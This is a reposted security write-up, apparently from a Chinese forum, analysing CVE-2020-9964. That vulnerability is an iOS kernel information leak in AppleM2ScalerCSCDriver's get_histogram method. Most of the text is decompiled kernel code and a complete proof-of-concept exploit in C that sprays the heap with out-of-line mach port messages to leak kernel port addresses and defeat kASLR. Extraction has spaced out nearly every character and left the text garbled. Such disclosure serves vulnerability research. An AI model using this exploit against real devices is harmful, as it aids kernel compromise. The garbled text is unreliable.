[15973] 2020-10-16_CVE-2020-9964:iOS中的信息泄露漏洞分析

文档创建者:s7ckTeam
浏览次数:14
最后更新:2025-01-18
2020-10-16_CVE-2020-9964:iOS中的信息泄露漏洞分析 C V E - 2 0 2 0 - 9 9 6 4 i O S A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 0 - 1 6 2 0 2 0 0 9 1 7 i O S 1 4 i O S   1 4 . 0 C V E - 2 0 2 0 - 9 9 6 4 I O S u r f a c e A c c e l e r a t o r I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m I O S u r f a c e A c c e l e r a t o r C l i e n t A p p l e M 2 S c a l e r C S C D r i v e r   I O S e r v i c e A p p 9 - I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m I O S u r f a c e A c c e l e r a t o r C l i e n t 使 I O U s e r C l i e n t : : g e t T a r g e t A n d M e t h o d F o r I n d e x 9 I O E x t e r n a l M e t h o d u s e r _ g e t _ h i s t o g r a m {         I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m ,         k I O U C S t r u c t I S t r u c t O ,         0 x 8 ,         0 x 0 } I O R e t u r n   I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m ( I O S u r f a c e A c c e l e r a t o r C l i e n t   * t h i s ,   v o i d   * i n p u t ,   u i n t 6 4 _ t   i n p u t S i z e ) { I O R e t u r n   r e s u l t ; i f   ( t h i s - > c a l l e d F r o m K e r n e l ) { . . . } e l s e { I O M e m o r y D e s c r i p t o r   * m e m D e s c   =   I O M e m o r y D e s c r i p t o r : : w i t h A d d r e s s R a n g e ( * ( m a c h _ v m _ a d d r e s s _ t   * ) i n p u t ,   t h i s - > h i s t o g r a m S i z e ,   k I O D i r e c t i o n O u t I n ,   t h i s - > t a s k ) ; i f   (   m e m D e s c   ) { r e t   =   m e m D e s c - > p r e p a r e ( k I O D i r e c t i o n N o n e ) ; i f   ( r e t ) { . . . }
A p p l e M 2 S c a l e r C S C D r i v e r : : g e t _ h i s t o g r a m g e t _ h i s t o g r a m g e t _ h i s t o g r a m _ g a t e d c l i e n t - > h i s t o g r a m B u f f e r c l i e n t - > h i s t o g r a m B u f f e r I O S u r f a c e A c c e l e r a t o r C l i e n t : : h i s t o g r a m B u f f e r I O S u r f a c e A c c e l e r a t o r C l i e n t : : i n i t C l i e n t e l s e { r e t   =   A p p l e M 2 S c a l e r C S C D r i v e r : : g e t _ h i s t o g r a m ( t h i s - > f O w n e r ,   t h i s ,   m e m D e s c ) ; m e m D e s c - > c o m p l e t e ( k I O D i r e c t i o n N o n e ) ; } m e m D e s c - > r e l e a s e ( ) ; } e l s e { r e t   =   k I O R e t u r n N o M e m o r y ; } } r e t u r n   r e t ; } I O R e t u r n   A p p l e M 2 S c a l e r C S C D r i v e r : : g e t _ h i s t o g r a m _ g a t e d ( A p p l e M 2 S c a l e r C S C D r i v e r   * t h i s ,   I O S u r f a c e A c c e l e r a t o r C l i e n t   * c l i e n t ,   I O M e m o r y D e s c r i p t o r   * m e m D e s c ) { I O R e t u r n   r e s u l t ; i f   (   m e m D e s c - > w r i t e B y t e s ( 0 ,   c l i e n t - > h i s t o g r a m B u f f e r ,   c l i e n t - > h i s t o g r a m S i z e )   = =   c l i e n t - > h i s t o g r a m S i z e   ) r e s u l t   =   k I O R e t u r n S u c c e s s ; e l s e r e s u l t   =   k I O R e t u r n I O E r r o r ; r e t u r n   r e s u l t ; } b o o l   I O S u r f a c e A c c e l e r a t o r C l i e n t : : i n i t C l i e n t ( I O S u r f a c e A c c e l e r a t o r C l i e n t   * t h i s ,   A p p l e M 2 S c a l e r C S C D r i v e r   * o w n e r ,   i n t   t y p e ,   A p p l e M 2 S c a l e r C S C H a l   * h a l ) { . . . i f   (   . . .   ) { . . . i f   (   . . .   ) { s i z e _ t   b u f f e r S i z e   =   . . . ; t h i s - > h i s t o g r a m S i z e   =   b u f f e r S i z e ; t h i s - > h i s t o g r a m B u f f e r   =   ( v o i d   * ) I O M a l l o c ( b u f f e r S i z e ) ; I O A s y n c h r o n o u s S c h e d u l e r   * s c h e d u l e r   =   I O A s y n c h r o n o u s S c h e d u l e r : : i o A s y n c h r o n o u s S c h e d u l e r ( 0 ) ; t h i s - > s c h e d u l e r   =   s c h e d u l e r ; i f   (   s c h e d u l e r   )
h i s t o g r a m B u f f e r I O M a l l o c 0 h i s t o g r a m B u f f e r 0 x d e a d b e e f k A S L R M a c h o u t - o f - l i n e M a c h c o m p l e x H e a d e r b o d y m a c h _ m s g _ o o l _ p o r t s _ d e s c r i p t o r _ t o u t - o f - l i n e O O L i p c _ k m s g _ c o p y i n _ o o l _ p o r t s _ d e s c r i p t o r 使 使 O O L c l i e n t - > h i s t o g r a m S i z e I O S u r f a c e A c c e l e r a t o r C l i e n t h i s t o g r a m B u f f e r 9 r e t u r n   t r u e ; . . . } e l s e { . . . } } e l s e { . . . } t h i s - > s t o p C l i e n t ( ) ; r e t u r n   f a l s e ; } # i n c l u d e   < s t d l i b . h > # i n c l u d e   < a s s e r t . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < m a c h / m a c h . h > # i n c l u d e   < I O K i t / I O K i t L i b . h > # i f   0 A p p l e M 2 S c a l e r C S C D r i v e r   I n f o l e a k : I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m   t a k e s   a   u s e r s p a c e   p o i n t e r   a n d   w r i t e s   h i s t o g r a m   d a t a   b a c k   t o   t h a t   a d d r e s s . I O S u r f a c e A c c e l e r a t o r C l i e n t : : i n i t C l i e n t   a l l o c a t e s   t h i s   h i s t o g r a m   b u f f e r ,   b u t   d o e s   n o t   z e r o   t h e   m e m o r y . W h e n   t h e   e x t e r n a l   m e t h o d   I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m   i s   c a l l e d ,   t h i s   u n i n i t i a l i s e d   m e m o r y   i s   t h e n   s e n t   b a c k   t o   u s e r s p a c e .
T h i s   v u l n e r a b i l i t y   i s   r e a c h a b l e   f r o m   w i t h i n   t h e   a p p   s a n d b o x   o n   i O S . B e l o w   i s   a   p r o o f - o f - c o n c e p t   e x p l o i t   w h i c h   u t i l i s e s   t h i s   v u l n e r a b i l i t y   t o   l e a k   t h e   a d d r e s s   o f   a n y   m a c h   p o r t   t h a t   t h e   c a l l i n g   p r o c e s s   h o l d s   a   s e n d - r i g h t   t o . O t h e r   k e r n e l   o b j e c t   a d d r e s s e s   c a n   b e   o b t a i n e d   u s i n g   t h i s   v u l n e r a b i l i t y   i n   s i m i l a r   w a y s . # e n d i f # d e f i n e   A S S E R T _ K R ( k r )   d o   {   i f   ( k r   ! =   K E R N _ S U C C E S S )   {   f p r i n t f ( s t d e r r ,   " k r :   % s   ( 0 x % x ) n " ,   m a c h _ e r r o r _ s t r i n g ( k r ) ,   k r ) ;   e x i t ( E X I T _ F A I L U R E ) ;   }   }   w h i l e ( 0 ) # d e f i n e   L E A K _ S I Z E   0 x 3 0 0 # d e f i n e   S P R A Y _ C O U N T   0 x 8 0 m a c h _ p o r t _ t   c r e a t e _ p o r t ( v o i d ) { m a c h _ p o r t _ t   p   =   M A C H _ P O R T _ N U L L ; m a c h _ p o r t _ a l l o c a t e ( m a c h _ t a s k _ s e l f ( ) ,   M A C H _ P O R T _ R I G H T _ R E C E I V E ,   & p ) ; m a c h _ p o r t _ i n s e r t _ r i g h t ( m a c h _ t a s k _ s e l f ( ) ,   p ,   p ,   M A C H _ M S G _ T Y P E _ M A K E _ S E N D ) ; r e t u r n   p ; } i o _ c o n n e c t _ t   o p e n _ c l i e n t ( c o n s t   c h a r *   s e r v i c e N a m e ,   u i n t 3 2 _ t   t y p e ) { i o _ c o n n e c t _ t   c l i e n t   =   M A C H _ P O R T _ N U L L ; i o _ s e r v i c e _ t   s e r v i c e   =   I O S e r v i c e G e t M a t c h i n g S e r v i c e ( k I O M a s t e r P o r t D e f a u l t ,   I O S e r v i c e M a t c h i n g ( s e r v i c e N a m e ) ) ; a s s e r t ( s e r v i c e   ! =   M A C H _ P O R T _ N U L L ) ; I O S e r v i c e O p e n ( s e r v i c e ,   m a c h _ t a s k _ s e l f ( ) ,   0 ,   & c l i e n t ) ; a s s e r t ( c l i e n t   ! =   M A C H _ P O R T _ N U L L ) ; I O O b j e c t R e l e a s e ( s e r v i c e ) ; r e t u r n   c l i e n t ; } v o i d   p u s h _ t o _ f r e e l i s t ( m a c h _ p o r t _ t   p o r t ) { u i n t 3 2 _ t   p o r t C o u n t   =   L E A K _ S I Z E   /   s i z e o f ( v o i d * ) ; s t r u c t   { m a c h _ m s g _ h e a d e r _ t   h e a d e r ; m a c h _ m s g _ b o d y _ t   b o d y ; m a c h _ m s g _ o o l _ p o r t s _ d e s c r i p t o r _ t   o o l _ p o r t s ; }   m s g   =   { { 0 } } ; m a c h _ p o r t _ t *   p o r t s   =   ( m a c h _ p o r t _ t * ) m a l l o c ( p o r t C o u n t   *   s i z e o f ( m a c h _ p o r t _ t ) ) ;
f o r   ( u i n t 3 2 _ t   i   =   0 ;   i   <   p o r t C o u n t ;   i + + ) p o r t s [ i ]   =   p o r t ; s i z e _ t   m s g S i z e   =   s i z e o f ( m s g ) ; m s g . h e a d e r . m s g h _ b i t s   =   M A C H _ M S G H _ B I T S _ S E T ( M A C H _ M S G _ T Y P E _ M A K E _ S E N D ,   0 ,   0 ,   M A C H _ M S G H _ B I T S _ C O M P L E X ) ; m s g . h e a d e r . m s g h _ s i z e   =   m s g S i z e ; m s g . h e a d e r . m s g h _ i d   =   ' O O L P ' ; m s g . b o d y . m s g h _ d e s c r i p t o r _ c o u n t   =   1 ; m s g . o o l _ p o r t s . t y p e   =   M A C H _ M S G _ O O L _ P O R T S _ D E S C R I P T O R ; m s g . o o l _ p o r t s . a d d r e s s   =   ( v o i d * ) p o r t s ; m s g . o o l _ p o r t s . c o u n t   =   p o r t C o u n t ; m s g . o o l _ p o r t s . d e a l l o c a t e   =   f a l s e ; m s g . o o l _ p o r t s . c o p y   =   M A C H _ M S G _ P H Y S I C A L _ C O P Y ; m s g . o o l _ p o r t s . d i s p o s i t i o n   =   M A C H _ M S G _ T Y P E _ M A K E _ S E N D ; m a c h _ p o r t _ t   r c v P o r t s [ S P R A Y _ C O U N T ] ; f o r   ( u i n t 3 2 _ t   i   =   0 ;   i   <   S P R A Y _ C O U N T ;   i + + ) { m a c h _ p o r t _ t   r c v P o r t   =   c r e a t e _ p o r t ( ) ; r c v P o r t s [ i ]   =   r c v P o r t ; m s g . h e a d e r . m s g h _ r e m o t e _ p o r t   =   r c v P o r t ; / / t r i g g e r   k e r n e l   a l l o c a t i o n   o f   p o r t   a r r a y : k e r n _ r e t u r n _ t   k r   =   m a c h _ m s g ( & m s g . h e a d e r ,   M A C H _ S E N D _ M S G   |   M A C H _ M S G _ O P T I O N _ N O N E ,   ( m a c h _ m s g _ s i z e _ t ) m s g S i z e ,   0 ,   M A C H _ P O R T _ N U L L ,   M A C H _ M S G _ T I M E O U T _ N O N E ,   M A C H _ P O R T _ N U L L ) ; A S S E R T _ K R ( k r ) ; } f o r   ( u i n t 3 2 _ t   i   =   1 ;   i   <   S P R A Y _ C O U N T ;   i + + ) m a c h _ p o r t _ d e s t r o y ( m a c h _ t a s k _ s e l f ( ) ,   r c v P o r t s [ i ] ) ; f r e e ( ( v o i d * ) p o r t s ) ; } / / T h e   a c t u a l   v u l n e r a b i l i t y : v o i d   l e a k _ b y t e s ( v o i d *   b u f f e r ) { i o _ c o n n e c t _ t   c l i e n t   =   o p e n _ c l i e n t ( " A p p l e M 2 S c a l e r C S C D r i v e r " ,   0 ) ; k e r n _ r e t u r n _ t   k r   =   I O C o n n e c t C a l l S t r u c t M e t h o d ( c l i e n t ,   9 ,   ( u i n t 6 4 _ t * ) & b u f f e r ,   8 ,   N U L L ,   N U L L ) ; A S S E R T _ K R ( k r ) ; I O S e r v i c e C l o s e ( c l i e n t ) ; } u i n t 6 4 _ t   f i n d _ p o r t _ a d d r ( m a c h _ p o r t _ t   p o r t ) { u i n t 6 4 _ t *   l e a k   =   ( u i n t 6 4 _ t * ) m a l l o c ( L E A K _ S I Z E ) ;
1 0 0 % p r i n t f ( " P r e p a r i n g   h e a p n " ) ; p u s h _ t o _ f r e e l i s t ( p o r t ) ; p r i n t f ( " L e a k i n g   0 x % z x   b y t e s n " ,   ( s i z e _ t ) L E A K _ S I Z E ) ; l e a k _ b y t e s ( l e a k ) ; u i n t 6 4 _ t   a d d r   =   l e a k [ 1 ] ; f r e e ( l e a k ) ; r e t u r n   a d d r ; } i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ,   c h a r *   e n v p [ ] ) { m a c h _ p o r t _ t   p o r t   =   c r e a t e _ p o r t ( ) ; u i n t 6 4 _ t   p o r t _ a d d r   =   f i n d _ p o r t _ a d d r ( p o r t ) ; p r i n t f ( " L e a k e d   p o r t   a d d r e s s :   % p n " ,   ( v o i d * ) p o r t _ a d d r ) ; r e t u r n   0 ; }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则